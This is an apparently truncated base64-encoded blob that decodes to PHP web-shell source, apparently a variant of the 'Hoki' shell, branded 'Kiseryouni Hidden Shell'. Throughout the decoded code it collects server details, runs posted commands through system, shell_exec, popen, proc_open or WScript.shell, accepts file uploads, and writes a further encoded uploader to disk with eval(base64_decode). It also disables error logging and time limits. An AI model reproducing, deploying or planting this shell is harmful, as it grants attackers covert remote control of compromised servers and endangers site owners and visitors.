ScpKXsKb2Jfc3RhcnQoKTsKQHN5c3RlbSgkaW4pOwokb3V0ID0gb2JfZ2V0X2NsZWFuKCk7Cn0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgewokb3V0ID0gc2hlbGxfZXhlYygkaW4pOwp9ZWxzZWlmKGZ1bmN0aW9uX2V4
aXN0cygicG9wZW4iKSYmZnVuY3Rpb25fZXhpc3RzKCJwY2xvc2UiKSl7CmlmKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSl7CiRvdXQgPSAiIjsKd2hpbGUoIUBmZW9mKCRmKSkKJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKcGNsb3N
lKCRmKTsKfQp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpewokcGlwZXMgPSBhcnJheSgpOwokcHJvY2VzcyA9IEBwcm9jX29wZW4oJGluLicgMj4mMScsIGFycmF5KGFycmF5KCJwaXBlIiwidyIpLCBhcnJheSgicGlwZSIsIn
ciKSwgYXJyYXkoInBpcGUiLCJ3IikpLCAkcGlwZXMsIG51bGwpOwokb3V0PUBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7Cn1lbHNlaWYoY2xhc3NfZXhpc3RzKCdDT00nKSl7CiRob2tpV3MgPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJ
yk7CiRleGVjID0gJGhva2lXcy0+ZXhlYygnY21kLmV4ZSAvYyAnLiRfUE9TVFsnaG9raTEnXSk7CiRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7CiRvdXQ9JHN0ZG91dC0+UmVhZEFsbCgpOwp9Cn1jYXRjaChFeGNlcHRpb24gJGUpe30KcmV0dXJu
ICRvdXQ7Cn0KZnVuY3Rpb24gX2hva2lfZnNvY2tvcGVuKCRzZXJ2ZXIsJHVyaSwkcG9zdCl7Cgkkc29ja2V0ID0gQGZzb2Nrb3Blbigkc2VydmVyLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxNSk7CglpZigkc29ja2V0KXsKCQkkaHR0cCAgPSAiUE9
TVCB7JHVyaX0gSFRUUC8xLjBcclxuIjsKCQkkaHR0cCAuPSAiSG9zdDogeyRzZXJ2ZXJ9XHJcbiI7CgkJJGh0dHAgLj0gIlVzZXItQWdlbnQ6ICIgLiAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gLiAiXHJcbiI7CgkJJGh0dHAgLj0gIkNvbn
RlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7CgkJJGh0dHAgLj0gIkNvbnRlbnQtbGVuZ3RoOiAiIC4gc3RybGVuKCRwb3N0KSAuICJcclxuIjsKCQkkaHR0cCAuPSAiQ29ubmVjdGlvbjogY2xvc2VcclxuX
HJcbiI7CgkJJGh0dHAgLj0gJHBvc3QgLiAiXHJcblxyXG4iOwoJCWZ3cml0ZSgkc29ja2V0LCAkaHR0cCk7CgkJJGNvbnRlbnRzID0gIiI7CgkJd2hpbGUgKCFAZmVvZigkc29ja2V0KSkgewoJCQkkY29udGVudHMgLj0gQGZnZXRzKCRzb2NrZXQs
IDQwOTYpOwoJCX0KCQlsaXN0KCRoZWFkZXIsICRib2R5KSA9IGV4cGxvZGUoIlxyXG5cclxuIiwgJGNvbnRlbnRzLCAyKTsKCQlAZmNsb3NlKCRzb2NrZXQpOwoJCXJldHVybiAkYm9keTsKCX1lbHNlewoJCXJldHVybiAiIjsKCX0KfQppZihpc3N
ldCgkX0dFVFsia2lzZXJ5b3VuaSJdKSl7CkBlcnJvcl9yZXBvcnRpbmcoRV9BTEwgXiBFX05PVElDRSk7CmVjaG8gJzxodG1sPic7CmVjaG8gIjx0aXRsZT5LaXNlcnlvdW5pIEhpZGRlbiBTaGVsbDwvdGl0bGU+IjsKZWNobyAiPGJvZHkgYmdjb2
xvcj0jMDAwMDAwPiI7CmVjaG8gJzxiPjxiaWc+PGZvbnQgY29sb3I9IzdDRkMwMD5LZXJuZWwgOiA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRkZGRiI+Jy4oZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKT9waHBfdW5hbWUoKTonPz8/JykuJzwvZ
m9udD48L2I+PC9iaWc+JzsKJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKaWYoJHNhZmVfbW9kZSl7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiByZWQnPk9uPC9iPiI7fWVsc2V7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiBncmVlbic+
T2ZmPC9iPiI7fQplY2hvICI8YnI+PGIgc3R5bGU9J2NvbG9yOiAjN0NGQzAwJz5PUzogPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPiIgLiBQSFBfT1MgLiAiPC9mb250Pjxicj4iOwplY2hvICI8YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPlNvZnR
3YXJlOiA8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+IiAuICRfU0VSVkVSIFsnU0VSVkVSX1NPRlRXQVJFJ10gLiAiPC9mb250Pjxicj4iOwplY2hvICJQSFAgVmVyc2lvbjogPGZvbnQgY29sb3I9d2hpdGU+IiAuIFBIUF9WRVJTSU9OIC4gICI8L2
ZvbnQ+PGJyIC8+IjsKZWNobyAiUFdEOjxmb250IGNvbG9yPSNGRkZGRkY+ICIgLiBzdHJfcmVwbGFjZSgiXFwiLCIvIixAaG9raUdldEN3ZCgpKSAuICIvPGJyIC8+IjsKZWNobyAiPGIgc3R5bGU9J2NvbG9yOiAjN0NGQzAwJz5TYWZlIE1vZGUgO
iAkcjxicj4iOwplY2hvIjxmb250IGNvbG9yPSM3Q0ZDMDA+RGlzYWJsZSBmdW5jdGlvbnMgOiA8L2ZvbnQ+IjsKJGRpc2Z1biA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwppZihlbXB0eSgkZGlzZnVuKSl7JGRpc2Z1biA9ICc8Zm9u
dCBjb2xvcj0iZ3JlZW4iPk5PTkU8L2ZvbnQ+Jzt9CmVjaG8iPGZvbnQgY29sb3I9cmVkPiI7CmVjaG8gIiRkaXNmdW4iOwplY2hvIjwvZm9udD48YnI+IjsKZWNobyAiPGIgc3R5bGU9J2NvbG9yOiAjN0NGQzAwJz5Zb3VyIElwIEFkZHJlc3MgaXM
gOiAgPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPiIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICI8L2ZvbnQ+PGJyPiI7CmVjaG8gIjxiIHN0eWxlPSdjb2xvcjogIzdDRkMwMCc+U2VydmVyIElwIEFkZHJlc3MgaXMgOiAgPC9mb250Pjxmb2
50IGNvbG9yPXdoaXRlPiIuKGZ1bmN0aW9uX2V4aXN0cygnZ2V0aG9zdGJ5bmFtZScpP0BnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk6Jz8/PycpLiI8L2ZvbnQ+PGJyPjxwPiI7CmVjaG8gJzxocj48Y2VudGVyPjxmb3JtIG9uU
3VibWl0PSJ0aGlzLnVwbG9hZC5kaXNhYmxlZD10cnVlO3RoaXMuY3dkLnZhbHVlID0gYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQodGhpcy5jd2QudmFsdWUpKSk7IiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0
aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nOwplY2hvICdDV0Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjd2QiIHZhbHVlPSInLnN0cl9yZXBsYWNlKCJcXCIsIi8iLEBob2tpR2V0Q3dkKCkpLicvIiB
zaXplPSI1OSI+PHA+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjQ1Ij48aW5wdXQgbmFtZT0idXBsb2FkIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKG
lzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewppZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgX19aR1ZqYjJSbGNnKEAkX1BPU1RbJ2N3ZCddKS4nLycuJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKXtlY2hvI
Cc8Yj48Zm9udCBjb2xvcj0iIzdDRkMwMCI+PGNlbnRlcj5VcGxvYWQgU3VjY2Vzc2Z1bGx5IDspPC9mb250PjwvYT48Zm9udCBjb2xvcj0iIzdDRkMwMCI+PC9iPjxicj48YnI+PC9jZW50ZXI+JzsgfQplbHNle2VjaG8gJzxjZW50ZXI+PGI+PGZv
bnQgY29sb3I9IiM3Q0ZDMDAiPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAiPjwvYj48L2NlbnRlcj48YnI+PGJyPic7IH0KfQplY2hvICc8aHI+PGZvcm0gb25TdWJtaXQ9InRoaXMuZXhlY3V0ZS5kaXNhYmx
lZD10cnVlO3RoaXMuY29tbWFuZF9raXNlcnlvdW5pLnZhbHVlID0gYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQodGhpcy5jb21tYW5kX2tpc2VyeW91bmkudmFsdWUpKSk7IiBtZXRob2Q9IlBPU1QiPkV4ZWN1dGUgQ29tbWFuZDogPG
lucHV0IG5hbWU9ImNvbW1hbmRfa2lzZXJ5b3VuaSIgdmFsdWU9IiIgc2l6ZT0iNTkiIHR5cGU9InRleHQiIGFsaWduPSJsZWZ0IiA+PGlucHV0IG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiB0eXBlPSJzdWJtaXQiPjxicj48L2Zvcm0+C
jxocj48cHJlPic7CmlmKGlzc2V0KCRfUE9TVFsnY29tbWFuZF9raXNlcnlvdW5pJ10pKXsKaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpPT0id2luIikkc2VwYXJhdG9yPScmJztlbHNlICRzZXBhcmF0b3I9JzsnOwoka2lzZXJ5b3Vu
aSA9ICJjZCAnIi5hZGRzbGFzaGVzKHN0cl9yZXBsYWNlKCJcXCIsIi8iLEBob2tpR2V0Q3dkKCkpKS4iJyIuJHNlcGFyYXRvci4iIi5fX1pHVmpiMlJsY2coJF9QT1NUWydjb21tYW5kX2tpc2VyeW91bmknXSk7CmVjaG8gaG9raUV4KCRraXNlcnl
vdW5pKTsKfQplY2hvJzwvcHJlPgo8L2JvZHk+PC9odG1sPic7CmV4aXQ7fQpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOwpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3
NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ21hZ2ljX3F1b3Rlc19ydW50aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCdzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUnKSl7CkBzZXRfb
WFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cn0KZm9yZWFjaCgkX1BPU1QgYXMgJGtleSA9PiAkdmFsdWUpewppZihpc19hcnJheSgkX1BPU1RbJGtleV0pKXsKJGk9MDsKZm9yZWFjaCgkX1BPU1RbJGtleV0gYXMgJGYpIHsKJGYgPSB0cmltKHN0cl9y
ZXBsYWNlKCcgJywgJysnLCRmKSk7CiRfUE9TVFska2V5XVskaV0gPSBkZWNyeXB0X3Bvc3QoJGYpOwokaSsrOwp9Cn1lbHNlewokdmFsdWUgPSB0cmltKHN0cl9yZXBsYWNlKCcgJywgJysnLCR2YWx1ZSkpOwokX1BPU1RbJGtleV0gPSBkZWNyeXB
0X3Bvc3QoJHZhbHVlKTsKfQp9CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbjInOy8vJ0ZpbGVzTWFuJzsKJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOwokZGVmYXVsdF9jaGFyc2V0ID0gJ1dpbmRvd3MtMTI1MSc7CmlmKHN0cnRvbG93ZXIoc3
Vic3RyKFBIUF9PUywwLDMpKT09IndpbiIpCiRHTE9CQUxTWydzeXMnXT0nd2luJzsKZWxzZQokR0xPQkFMU1snc3lzJ109J3VuaXgnOwokR0xPQkFMU1snaG9tZV9jd2QnXSA9IEBob2tpR2V0Q3dkKCk7CiRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0Z
V9oZWFkZXIiXSA9ICJmYWxzZSI7CiRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10gPSBmYWxzZTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKXsKaWYoIUBjaGRpcigkX1BPU1RbJ2MnXSkpewoJJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSA9
IHRydWU7Cn0KfQokR0xPQkFMU1snY3dkJ10gPSAoaXNzZXQoJF9QT1NUWydjJ10pICYmIEBpc19kaXIoJF9QT1NUWydjJ10pID8kX1BPU1RbJ2MnXTpAaG9raUdldEN3ZCgpKTsKaWYoJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSl7CgkkR0x
PQkFMU1snY3dkJ10gPSAoaXNzZXQoJF9QT1NUWydjJ10pICYmICFlbXB0eSgkX1BPU1RbJ2MnXSkgPyAkX1BPU1RbJ2MnXSA6IEBob2tpR2V0Q3dkKCkpOwp9CmlmKCRHTE9CQUxTWydzeXMnXSA9PSAnd2luJyl7CiRHTE9CQUxTWydob21lX2N3ZC
ddID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkR0xPQkFMU1snaG9tZV9jd2QnXSk7CiRHTE9CQUxTWydjd2QnXSA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKfQppZigkR0xPQkFMU1snY3dkJ11bc3RybGVuKCRHT
E9CQUxTWydjd2QnXSktMV0gIT0gJy8nICkkR0xPQkFMU1snY3dkJ10gLj0gJy8nOwppZighZnVuY3Rpb25fZXhpc3RzKCdzeXNfZ2V0X3RlbXBfZGlyJykpe2Z1bmN0aW9uIHN5c19nZXRfdGVtcF9kaXIoKSB7Zm9yZWFjaCAoYXJyYXkoJ1RNUCcs
ICdURU1QJywgJ1RNUERJUicpIGFzICRlbnZfdmFyKSB7aWYgKCR0ZW1wID0gZ2V0ZW52KCRlbnZfdmFyKSkge3JldHVybiAkdGVtcDt9fSR0ZW1wID0gdGVtcG5hbSgkR0xPQkFMU1snX19maWxlX3BhdGgnXSwgJycpO2lmIChfaG9raV9maWxlX2V
4aXN0cygkdGVtcCxmYWxzZSkpIHt1bmxpbmsoJHRlbXApO3JldHVybiBkaXJuYW1lKCR0ZW1wKTt9cmV0dXJuIG51bGw7fX0KaWYoIWZ1bmN0aW9uX2V4aXN0cygibWJfc3RybGVuIikpewoJZnVuY3Rpb24gbWJfc3RybGVuKCRzdHIsICRjPSIiKX
sKCQlyZXR1cm4gc3RybGVuKCRzdHIpOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoIm1iX3N1YnN0ciIpKXsKCWZ1bmN0aW9uIG1iX3N1YnN0cigkc3RyLCAkc3RhcnQsICRlbmQsICRjPSIiKXsKCQlyZXR1cm4gc3Vic3RyKCRzdHIsICRzdGFyd
CwgJGVuZCk7Cgl9Cn0KZGVmaW5lKCJIT0tJX1RFTVBESVIiLChmdW5jdGlvbl9leGlzdHMoInN5c19nZXRfdGVtcF9kaXIiKSA/IChAaXNfd3JpdGFibGUoc3RyX3JlcGxhY2UoJ1xcJywnLycsc3lzX2dldF90ZW1wX2RpcigpKSk/c3lzX2dldF90
ZW1wX2RpcigpOihAaXNfd3JpdGFibGUoJy4nKT8nLic6ZmFsc2UpKSA6IGZhbHNlKSk7CmZ1bmN0aW9uIGhva2loZWFkKCl7CiRHTE9CQUxTWydfX0hPS0lfU0hFTExfQ09ERSddID0gJ1BEOXdhSEFnWldOb2J5QWlQSFJwZEd4bFBsTnZiR1YyYVh
OcFlteGxJRlZ3Ykc5aFpHVnlQQzkwYVhSc1pUNWNianhpYjJSNUlHSm5ZMjlzYjNJOUl6QXdNREF3TUQ1Y2JqeGljajVjYmp4alpXNTBaWEkrUEdadmJuUWdZMjlzYjNJOVhDSjNhR2wwWlZ3aVBqeGlQbGx2ZFhJZ1NYQWdRV1JrY21WemN5QnBjen
d2WWo0Z1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQand2Wm05dWRENDhMMk5sYm5SbGNqNWNianhpYVdjK1BHWnZiblFnWTI5c2IzSTlYQ0lqTjBOR1F6QXdYQ0krUEdObGJuUmxjajVjYmlJN1pXTm9ieUFrWDFORlVsWkZVbHNuVWtWTlQxU
kZYMEZFUkZJblhUdGxZMmh2SUNJOEwyTmxiblJsY2o0OEwyWnZiblErUEM5aFBqeG1iMjUwSUdOdmJHOXlQVndpSXpkRFJrTXdNRndpUGx4dVBHSnlQbHh1UEdKeVBseHVQR05sYm5SbGNqNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0
OFltbG5QbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaQ0JCY21WaFBDOWlhV2MrUEM5bWIyNTBQand2WVQ0OFptOXVkQ0JqYjJ4dmNqMWNJaU0zUTBaRE1EQmNJajQ4TDJadmJuUStQQzlqWlc1MFpYSStQR0p5UGx4dVBHTmxiblJsY2o0OFptOXliU0J
0WlhSb2IyUTlKM0J2YzNRbklHVnVZM1I1Y0dVOUoyMTFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRW5JRzVoYldVOUozVndiRzloWkdWeUp6NGlPMlZqYUc4Z0p6eHBibkIxZENCMGVYQmxQU0ptYVd4bElpQnVZVzFsUFNKbWFXeGxJaUJ6YVhwbFBTST
BOU0krUEdsdWNIVjBJRzVoYldVOUlsOTFjR3dpSUhSNWNHVTlJbk4xWW0xcGRDSWdhV1E5SWw5MWNHd2lJSFpoYkhWbFBTSlZjR3h2WVdRaVBqd3ZabTl5YlQ0OEwyTmxiblJsY2o0bk8ybG1LR2x6YzJWMEtDUmZVRTlUVkZzblgzVndiQ2RkS1NZb
UpGOVFUMU5VV3lkZmRYQnNKMTA5UFNBaVZYQnNiMkZrSWlsN2FXWW9RRzF2ZG1WZmRYQnNiMkZrWldSZlptbHNaU2drWDBaSlRFVlRXeWRtYVd4bEoxMWJKM1J0Y0Y5dVlXMWxKMTBzSUNSZlJrbE1SVk5iSjJacGJHVW5YVnNuYm1GdFpTZGRLU2tn
ZTJWamFHOGdKenhpUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhZMlZ1ZEdWeVBsVndiRzloWkNCVGRXTmpaWE56Wm5Wc2JIa2dPeWs4TDJadmJuUStQQzloUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhMMkkrUEdKeVBqeGl
jajRuTzMxbGJITmxlMlZqYUc4Z0p6eGlQanhtYjI1MElHTnZiRzl5UFNJak4wTkdRekF3SWo0OFkyVnVkR1Z5UGxWd2JHOWhaQ0JtWVdsc1pXUWdPaWc4TDJadmJuUStQQzloUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhMMkkrUEdKeV
BqeGljajRuTzMxOVpXTm9ieUFuUEdObGJuUmxjajQ4YzNCaGJpQnpkSGxzWlQwaVptOXVkQzF6YVhwbE9qTXdjSGc3SUdKaFkydG5jbTkxYm1RNklIVnliQ2dtY1hWdmREdG9kSFJ3T2k4dmMyOXNaWFpwYzJsaWJHVXVZMjl0TDJsdFlXZGxjeTlpW
jE5bFptWmxZM1JmZFhBdVoybG1KbkYxYjNRN0tTQnlaWEJsWVhRdGVDQnpZM0p2Ykd3Z01DVWdNQ1VnZEhKaGJuTndZWEpsYm5RN0lHTnZiRzl5T2lCeVpXUTdJSFJsZUhRdGMyaGhaRzkzT2lBNGNIZ2dPSEI0SURFemNIZzdJajQ4YzNSeWIyNW5Q
anhpUGp4aWFXYytjMjlzWlhacGMybGliR1ZBWjIxaGFXd3VZMjl0UEM5aVBqd3ZZbWxuUGp3dmMzUnliMjVuUGp3dmMzQmhiajQ4TDJObGJuUmxjajRuT3o4Kyc7CiRob2tpX3VwbG9hZGVyID0gJyR4ID0gYmFzZTY0X2RlY29kZSgiJy4kR0xPQkF
MU1snX19IT0tJX1NIRUxMX0NPREUnXS4nIik7JGtpc2VyeW91bmkgPSBmb3Blbigia2lzZXJ5b3VuaS5waHAiLCJ3Iik7ZndyaXRlKCRraXNlcnlvdW5pLCR4KTsnOwpkZWZpbmUoIkhPS0lfVVBMT0FERVIiLCAiZXZhbChiYXNlNjRfZGVjb2RlKC
ciLl9fWlc1amIyUmxjZygkaG9raV91cGxvYWRlcikuIicpKSIpOwppZighaXNzZXQoJF9QT1NUWydhamF4J10pKXsKZnVuY3Rpb24gSG9raV9HZXREaXNhYmxlX0Z1bmN0aW9uKCl7CiRkaXNmdW4gPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvb
nMnKTsKJGFmYSA9ICc8c3BhbiBjbGFzcz0iaGVhZGVyX3Nob3dfYWxsIj5BbGwgRnVuY3Rpb25zIEFjY2Vzc2libGU8L3NwYW4+JzsKaWYoZW1wdHkoJGRpc2Z1bikpcmV0dXJuKCRhZmEpOwokcyA9IGV4cGxvZGUoJywnLCRkaXNmdW4pOwokcyA9
IGFycmF5X3VuaXF1ZSgkcyk7CiRpPTA7CiRiPTA7CiRmdW5jID0gYXJyYXkoJ3N5c3RlbScsJ2V4ZWMnLCdzaGVsbF9leGVjJywncHJvY19vcGVuJywncG9wZW4nLCdwYXNzdGhydScsJ3N5bWxpbmsnLCdkbCcpOwokYmxhY2tfbGlzdCA9IGFycmF
5KCk7CiRhbGxvd19saXN0ID0gYXJyYXkoKTsKZm9yZWFjaCgkcyBhcyAkZCl7CgkkZD10cmltKCRkKTsKCWlmKGVtcHR5KCRkKXx8IWlzX2NhbGxhYmxlKCRkKSljb250aW51ZTsKCWlmKCFmdW5jdGlvbl9leGlzdHMoJGQpKXsKCQlpZihpbl9hcn
JheSgkZCwkZnVuYykpewoJCQkkZGlzIC49ICRkLiIgfCAiOyRiKys7CgkJCSRibGFja19saXN0W10gPSAkZDsKCQl9ZWxzZXsKCQkJJGFsbG93X2xpc3RbXSA9ICRkOwoJCX0KCQkkaSsrOwoJfQp9CmlmKCRpPT0wKXJldHVybigkYWZhKTsKaWYoJ
GkgPD0gY291bnQoJGZ1bmMpKXsKJGFsbCA9IGFycmF5X3ZhbHVlcyhhcnJheV9tZXJnZSgkYmxhY2tfbGlzdCwgJGFsbG93X2xpc3QpKTsKcmV0dXJuKCc8c3BhbiBjbGFzcz0iZGlzYWJsZV9mdW5jdGlvbnMiPicuaW1wbG9kZSgiIHwgIiwgJGFs
bCkuJzwvc3Bhbj4nKTsKfQpyZXR1cm4oJzxzcGFuIGNsYXNzPSJkaXNhYmxlX2Z1bmN0aW9ucyI+Jy4kZGlzLic8L3NwYW4+PGEgaWQ9Im1lbnVfb3B0X0dldERpc0Z1bmMiIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9Imhva2lfY2F
uX2FkZF9vcHQgPSB0cnVlO2coXCdHZXREaXNGdW5jXCcsbnVsbCxcJ3dwXCcpOyI+PHNwYW4gY2xhc3M9ImhlYWRlcl9zaG93X2FsbCI+U2hvdyBBbGwgKCcuJGkuJyk8L3NwYW4+PC9hPicpOwp9CmZ1bmN0aW9uIEhva2lOdW0oKXsKJGFyZ3MgPS
BmdW5jX2dldF9hcmdzKCk7CiRob2tpeCA9IGFycmF5KCk7CiRmaW5kID0gYXJyYXkoKTsKZm9yKCRpPTE7JGk8PTEwOyRpKyspewokaG9raXhbXSA9ICRpOwp9CmZvcmVhY2goJGFyZ3MgYXMgJGFyZyl7CiRmaW5kW10gPSAkYXJnOwp9CmVjaG8gJ
zxzY3JpcHQ+JzsKZm9yZWFjaCgkaG9raXggYXMgJGhva2kpewppZihpbl9hcnJheSgkaG9raSwkZmluZCkpCmNvbnRpbnVlOwplY2hvICdob2tpJy4kaG9raS4iXz0iOwp9CmVjaG8gJyIiPC9zY3JpcHQ+JzsKfQppZihlbXB0eSgkX1BPU1RbJ2No
YXJzZXQnXSkpCiRfUE9TVFsnY2hhcnNldCddID0gJEdMT0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddOwokZnJlZVNwYWNlID0gZnVuY3Rpb25fZXhpc3RzKCdkaXNrZnJlZXNwYWNlJyk/QGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTonPyc
7CiR0b3RhbFNwYWNlID0gZnVuY3Rpb25fZXhpc3RzKCdkaXNrX3RvdGFsX3NwYWNlJyk/QGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTonPyc7CiR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MTsKJG9uPSI8c3
BhbiBjbGFzcz0naGVhZGVyX29uJz4gT04gPC9zcGFuPiI7CiRvZj0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vZmYnPiBPRkYgPC9zcGFuPiI7CiRub25lPSI8c3BhbiBjbGFzcz0naGVhZGVyX25vbmUnPiBOT05FIDwvc3Bhbj4iOwppZihmdW5jdGlvb
l9leGlzdHMoJ3NzaDJfY29ubmVjdCcpKQokc3NoMj0kb247CmVsc2UKJHNzaDI9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKQokY3VybD0kb247CmVsc2UKJGN1cmw9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ215c3Fs
X2dldF9jbGllbnRfaW5mbycpfHxjbGFzc19leGlzdHMoJ215c3FsaScpKQokbXlzcWw9JG9uOwplbHNlCiRteXNxbD0kb2Y7CmlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQokbXNzcWw9JG9uOwplbHNlCiRtc3NxbD0kb2Y7Cml
mKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQokcGc9JG9uOwplbHNlCiRwZz0kb2Y7CmlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkKJG9yPSRvbjsKZWxzZQokb3I9JG9mOwppZihAaW5pX2dldCgnZGlzYWJsZV9mdW5jdG
lvbnMnKSkKJGRpc2Z1bj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKZWxzZQokZGlzZnVuPSJBbGwgRnVuY3Rpb25zIEVuYWJsZSI7CmlmKEBpbmlfZ2V0KCdzYWZlX21vZGUnKSkKJHNhZmVfbW9kZXM9IjxzcGFuIGNsYXNzPSdoZWFkZ
XJfb2ZmJz5PTjwvc3Bhbj4iOwplbHNlCiRzYWZlX21vZGVzPSI8c3BhbiBjbGFzcz0naGVhZGVyX29uJz5PRkY8L3NwYW4+IjsKJGNnaV9zaGVsbD0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vZmYnIGlkPSdoZWFkZXJfY2dpc2hlbGwnPk9GRjwvc3Bh
bj4iOwppZihAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpewokYmFzZWRpcl9kYXRhID0gQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpOwppZihzdHJsZW4oJGJhc2VkaXJfZGF0YSk+MTIwKXsKJG9wZW5fYj1zdWJzdHIoJGJhc2VkaXJfZGF0YSwwLCA
xMjApLiIuLi4iOwp9ZWxzZXsKJG9wZW5fYiA9ICRiYXNlZGlyX2RhdGE7Cn0KfWVsc2V7JG9wZW5fYj0kbm9uZTt9CmlmKEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSkKJHNhZmVfZXhlPUBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaX
InKTsKZWxzZQokc2FmZV9leGU9JG5vbmU7CmlmKEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSkKJHNhZmVfaW5jbHVkZT1AaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJyk7CmVsc2UKJHNhZmVfaW5jbHVkZT0kbm9uZTsKa
WYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKQp7CiR1c2VyID0gZnVuY3Rpb25fZXhpc3RzKCJnZXRfY3VycmVudF91c2VyIik/QGdldF9jdXJyZW50X3VzZXIoKToiPz8/PyI7CiR1aWQgPSBmdW5jdGlvbl9leGlzdHMoImdldG15
dWlkIik/QGdldG15dWlkKCk6Ij8/Pz8iOwokZ2lkID0gZnVuY3Rpb25fZXhpc3RzKCJnZXRteWdpZCIpP0BnZXRteWdpZCgpOiI/Pz8/IjsKJGdyb3VwID0gIj8iOwp9ZWxzZXsKJHVpZCA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQ
